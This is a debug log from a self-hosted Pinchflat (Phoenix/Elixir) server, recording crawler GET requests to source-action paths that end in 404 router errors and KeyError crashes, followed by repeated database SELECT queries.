/sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274136.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58788}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274137.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/1/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFs5dIVLgB_vc4AM39C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274136.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58788}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274136.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58788}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274137.0>, params: %{}, path_info: ["sources", "1", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, (truncated) 08:24:23.741 [info] GET /sources/1/force_index 08:24:23.741 [debug] QUERY OK source="settings" db=0.2ms idle=635.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:23.742 [debug] QUERY OK source="settings" db=0.2ms idle=507.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:24:23.742 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:24:23.743 [error] #PID<0.274138.0> running PinchflatWeb.Endpoint (connection #PID<0.274136.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274136.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58788}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274138.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/1/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFs5fBQ3iGbgaEAM3-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274136.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58788}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274136.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58788}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274138.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, (truncated) 08:24:38.820 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.601 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:25:08.822 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:14.216 [info] GET /sources/new 08:25:14.216 [info] GET /sources/1/force_download_pending 08:25:14.217 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 08:25:14.217 [debug] QUERY OK source="settings" db=0.6ms idle=1533.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.218 [debug] QUERY OK source="sources" db=0.7ms idle=1534.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:14.218 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1006.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.218 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:25:14.219 [debug] QUERY OK source="media_profiles" db=0.4ms idle=535.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 08:25:14.219 [debug] QUERY OK source="settings" db=0.3ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.220 [debug] QUERY OK source="settings" db=0.4ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.221 [debug] QUERY OK source="settings" db=0.8ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.222 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.224 [debug] QUERY OK source="settings" db=0.3ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.219 [error] #PID<0.274144.0> running PinchflatWeb.Endpoint (connection #PID<0.274142.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274142.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 42986}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274144.0>, params: %{}, path_info: ["sources", "1", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/1/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFs8bDmW8rYVjoAM3_C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274142.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 42986}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274142.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 42986}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274144.0>, params: %{}, path_info: ["sources", "1", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 08:25:14.229 [info] Sent 200 in 12ms 08:25:14.368 [info] GET /sources/1 08:25:14.369 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 08:25:14.369 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=149.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:14.370 [debug] QUERY OK source="media_profiles" db=0.3ms idle=149.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:25:14.470 [debug] QUERY OK source="tasks" db=98.9ms idle=149.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 08:25:14.470 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=247.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2636] 08:25:14.471 [debug] QUERY OK source="settings" db=0.3ms idle=246.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.471 [debug] QUERY OK source="settings" db=0.2ms idle=101.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.472 [debug] QUERY OK source="settings" db=0.2ms idle=101.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:25:14.475 [debug] QUERY OK source="sources" db=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:25:14.480 [debug] QUERY OK source="media_items" db=4.8ms idle=5.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN 